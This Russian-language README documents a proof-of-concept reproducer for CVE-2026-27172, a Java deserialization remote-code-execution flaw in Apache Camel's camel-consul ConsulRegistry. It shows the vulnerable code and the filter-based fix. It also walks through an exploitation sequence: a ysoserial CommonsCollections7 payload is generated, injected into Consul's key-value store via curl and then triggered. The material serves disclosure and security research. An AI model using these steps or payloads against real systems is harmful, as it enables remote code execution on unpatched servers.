
Репродуктор для CVE-2026-27172: Java-десериализация ConsulRegistry в Apache Camel camel-consul (RCE)
Этот проект демонстрирует уязвимость десериализации Java в компоненте camel-consul Apache Camel (ConsulRegistry), отслеживаемую как CVE-2026-27172. Это тот же класс уязвимости, что и CVE-2024-22369, CVE-2024-23114 и CVE-2026-25747, и он был упущен при первоначальном устранении этих CVE.
Бюллетень безопасности: https://camel.apache.org/security/CVE-2026-27172.html
| Свойство | Значение |
|---|---|
| Компонент | camel-consul |
| Затронутый класс | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| Уязвимые методы | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: Десериализация недоверенных данных |
| Воздействие | Удалённое выполнение кода (RCE) |
| Затронутые версии | С 3.0.0 до 4.14.6 и с 4.15.0 до 4.18.1 |
| Исправленные версии | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry использует хранилище ключ/значение Consul в качестве реестра Camel. Когда bean ищется по имени, сохранённое значение декодируется из Base64 и десериализуется с помощью «сырого» ObjectInputStream, причём в затронутых версиях — без ObjectInputFilter:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
Любой объект, сохранённый в KV-хранилище Consul под ключом, который Camel впоследствии ищет, десериализуется. Злоумышленник, имеющий право записи в этот KV-путь, может разместить полезную нагрузку в виде цепочки гаджетов, которая выполнится при обращении к реестру.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry хранит сериализованные объекты в кодировке Base64, поэтому полезная нагрузка передаётся в виде Base64.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() читает значение из KV, декодирует его из Base64 и десериализует — выполняя цепочку гаджетов.
ls -la /tmp/pwned
Если файл /tmp/pwned существует, эксплуатация прошла успешно.
Уязвимость срабатывает всякий раз, когда реестр разрешает bean:
.to("bean:..."), bean(...), .process("...") по имени — все вызывают lookupByName().findByType() / lookupByNameAndType() перебирают записи KV и десериализуют их.commons-collections:3.2.1 (гаджеты CommonsCollections1-7)| Аспект | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|---|---|---|
| Базовое хранилище | Таблица Cassandra | Файл LevelDB | KV-хранилище Consul |
| ObjectInputFilter (до исправления) | нет | нет | нет |
| Исправление | Белый список ObjectInputFilter | Белый список ObjectInputFilter | Белый список ObjectInputFilter |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |
Исправление (CAMEL-23029) добавляет настраиваемый ObjectInputFilter (по умолчанию java.**;org.apache.camel.**;!*) в ConsulRegistryUtils.deserialize и предоставляет опцию deserializationFilter, чтобы доверенные классы можно было добавить в белый список:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
До обновления до исправленной версии:
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.